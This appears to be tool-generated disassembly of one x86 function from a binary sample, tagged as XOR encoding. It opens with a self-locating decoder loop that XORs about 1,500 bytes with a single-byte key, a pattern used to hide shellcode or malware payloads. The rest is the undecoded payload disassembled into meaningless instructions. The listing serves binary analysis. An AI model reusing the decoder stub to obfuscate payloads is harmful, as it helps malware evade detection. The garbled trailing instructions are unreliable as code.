Function at 0xff00f4
Capabilities:
Encode data using xor

Disassembly:
jmp 0xff00fe
pushal
call 0xff0104
pop ebp
sub ebp, 0x10
sub ebp, 0xbf00f4
jmp 0xff011a
mov eax, 0xbf00f4
add eax, ebp
add eax, 0x4c
mov ecx, 0x5e3
mov edx, 0x1d2b1ab0
xor byte [eax], dl
inc eax
dec ecx
jne 0xff0131
jmp 0xff0144
cmp edi, dword [ebp + 0x3b]
jge 0xff0182
cmp dword [eax + esi*4 + 0x7131b0b0], ecx
dec eax
mov al, 0x31
jno 0xff0197
mov al, 0xb0
mov al, 0xb3
jge 0xff015d
mov ch, 0xb0
mov al, 0xb0
or bl, byte [eax + 0x47b0b0b0]
mov al, 0x47
push edx
mov bl, 0x78
cmp esi, dword [ecx]
mov esp, 0xb3b0b0b0
jne 0xff014b
loopne 0xff0145
and al, 0x1f
mov esi, 0xe1d0d8b0
add byte [eax - 0x276b634f], dh
adc byte [ebx - 0x4aa7797d], ah
fcom st(0)
loope 0xff0175
mov al, 0xb1
pushfd
xchg esp, eax
fcom dword [eax]
mov dword [0xb5588683], eax
mov al, 0xb0
mov al, 0x59
pop ecx
sahf
mov al, 0xb0
mov al, 0x3d
aam 0x94
dec esp
cmp dword [esp + edx*4 + 0x353b5c3b], ebx
mov eax, 0x3bb0b0b0
and eax, 0xb0b0b0bc
cmp esp, dword [0xb0b0b0bc]
cmp edi, dword [0xb0b0b0a0]
jno 0xff01fe
mov dl, 0x81
mov dl, 0x33
jb 0xff015f
stc
mov edi, 0x4f4f4435
dec edi
in eax, dx
jb 0xff0171
mov al, 0x3b
cmp al, 0x94
mov ah, 0xb0
mov al, 0xb0
fsub dword [edi + ebx]
mov esi, 0xe1d0d8b0
add byte [eax - 0x1e6b634f], dh
pop eax
mov ch, 0xb0
mov al, 0xb0
pop ecx
div dword [edx - 0x2bc24f50]
xchg esp, eax
dec esp
cmp dword [esp + edx*4 - 0x4f6b23c3], ebx
dec edi
lds edi, [edi + ecx*2 - 0x3da7473b]
mov al, 0xb0
mov al, 0x3b
or eax, 0xb0b0b0b8
xor dword [ecx - 0x1a], eax
cmpsb byte [esi], byte es:[edi]
stc
int3
jns 0xff0183
bound esi, qword [ebx]
pop eax
mov ch, 0xf8
clc
mov edi, 0xb0b0fe34
mov al, 0xbf
cmp al, bh
mov al, 0xb0
mov al, 0xd6
cmp ebp, dword [ecx + ecx*4 - 0x40a7b4d0]
xor al, 0xaa
mov al, 0xb0
mov edi, 0xb0b0aa34
mov al, 0x30
dec ebx
pop ecx
mov edi, 0xb0b0a134
xor al, 0xa1
mov al, 0xb0
mov al, 0xd6
xor dword [ebx + 0x4f], ecx
dec edi
xchg ebp, eax
mov edi, 0xb0b0a534
mov al, 0xf1
pop ecx
jl 0xff0285
dec edi
dec edi
cdq
cld
mov dword [ecx + 0x33b57133], esi
pop eax
mov ah, 0x59
or eax, 0x994f4f4f
in al, 0x89
mov dl, 0x33
jno 0xff0204
xor ebx, dword [edx - 0x4c]
xor ebx, dword [eax - 0x4b]
pop ecx
sbb ecx, dword [edi + 0x4f]
dec edi
in eax, dx
jb 0xff0218
mov al, 0xe5
cmp ebx, dword [esi - 0x19]
in eax, 0x3b
lds edi, [ebx + edi + 0x24cb8cd]
xor byte [edx], bh
mov dh, 0x31
jbe 0xff0222
mov al, 0xb0
mov al, 0x38
mov bh, 0x31
ja 0xff022a
mov al, 0xb0
mov al, 0xb
mov dl, 0xb0
mov al, 0xb0
mov dl, 0x62
mov edi, 0xb0b0b535
mov al, 0x3a
cmpsb byte [esi], byte es:[edi]
mul byte [edx + 0x6833bf62]
dec edi
mov ch, 0xb0
mov al, 0xb0
cmp ah, byte [esi - 0x409d5d0a]
xor ebp, dword [eax + 0x4f]
dec edi
dec edi
mov dl, 0x62
mov edi, 0xb0b0b535
mov al, 0x3a
cmpsb byte [esi], byte es:[edi]
mul byte [edx - 0x25cc409e]
mov al, 0xb0
mov al, 0x83
jo 0xff025c
bound edi, qword [edi - 0x4f4f4acb]
mov al, 0x3a
cmpsb byte [esi], byte es:[edi]
mul byte [edx - 0x65cc409e]
mov cl, 0xb0
mov al, 0xb2
bound edi, qword [edi - 0x4f4f4acb]
mov al, 0x3a
cmpsb byte [esi], byte es:[edi]
mul byte [edx - 0x4d8f5c9e]
bound edi, qword [edi - 0x4f4f4acb]
mov al, 0x3a
cmpsb byte [esi], byte es:[edi]
mul byte [edx - 0x4d8f5c9e]
bound edi, qword [edi - 0x4f4f4acb]
mov al, 0x3a
cmpsb byte [esi], byte es:[edi]
mul byte [edx - 0x4d8f5c9e]
bound edi, qword [edi - 0x4f4f4acb]
mov al, 0x3a
cmpsb byte [esi], byte es:[edi]
mul byte [edx - 0x408f5c9e]
xor al, 0xb6
mov al, 0xb0
mov al, 0x3b
outsd dx, dword [esi]
wait
push 0xb738b33a
test dword [ebx], 0xb0b0b0b2
pop ecx
ror byte [edi + 0x4f], 0x4f
or byte [ecx - 0x4d4f4f50], dh
bound edi, qword [edi - 0x4f4f4acb]
mov al, 0x3a
cmpsb byte [esi], byte es:[edi]
mul byte [edx - 0x4d8f5c9e]
bound edi, qword [edi - 0x4f4f4acb]
mov al, 0x3a
cmpsb byte [esi], byte es:[edi]
mul byte [edx + 0x6e32bf62]
dec edi
dec edi
dec edi
wait
jae 0xff0346
mov cl, 0xb0
mov al, 0xb0
mov edi, 0xb0b08435
mov al, 9
mov cl, 0xb0
mov al, 0xb0
mov dl, 0x62
mov edi, 0xb0b0b535
mov al, 0x3a
cmpsb byte [esi], byte es:[edi]
mul byte [edx - 0x4d865c9e]
bound edi, qword [edi - 0x4f4f4acb]
mov al, 0x3a
cmpsb byte [esi], byte es:[edi]
mul byte [edx + 0x6e32bf62]
dec edi
dec edi
dec edi
out 0x3b, al
inc edi
wait
inc ebp
inc ebx
adc al, 0xee
pop ecx
mov eax, 0xf84f4f4f
jno 0xff03cc
mov eax, 0x3bf6b63a
pop eax
or dword [ecx - 0x4d4f4f50], esi
bound edi, qword [edi - 0x4f4f4acb]
mov al, 0x3a
cmpsb byte [esi], byte es:[edi]
mul byte [edx - 0x4d865c9e]
bound edi, qword [edi - 0x4f4f4acb]
mov al, 0x3a
cmpsb byte [esi], byte es:[edi]
mul byte [edx + 0x6e32bf62]
dec edi
dec edi
dec edi
xor dword [eax - 0x50], ecx
int 0xb0
mov al, 0x31
imul ecx, dword [edi + 0x4f], 0x48314f4f
mov al, 0xb5
mov al, 0xb0
xor dword [ecx + 0x4f], ebp
dec edi
dec edi
dec edi
xor dword [eax + 0x30], ecx
mov al, 0xb0
mov al, 0x31
popal
mov al, 0xb0
mov al, 0xb0
xor dword [eax + 0x30], ecx
mov al, 0xb0
mov al, 0x31
popal
mov al, 0x31
dec eax
xor byte [eax + 0x6131b0b0], dh
mov al, 0xb0
mov al, 0xb0
out 0x3b, al
inc edi
wait
inc eax
inc ebx
adc al, 0xee
pop ecx
sub ecx, dword [esi + 0x4f]
dec edi
cmp dh, byte [esi + 0x707983f6]
pop eax
mov cl, 0xbf
xor al, 0xaa
mov al, 0xb0
mov al, 0x31
popal
mov dl, 0xb0
mov al, 0xb0
cmp ebx, dword [eax - 0x1a]
cmp eax, dword [edi - 0x65]
inc eax
inc ebx
adc al, 0xee
or esi, dword [ecx + 0x59b0b0b0]
ret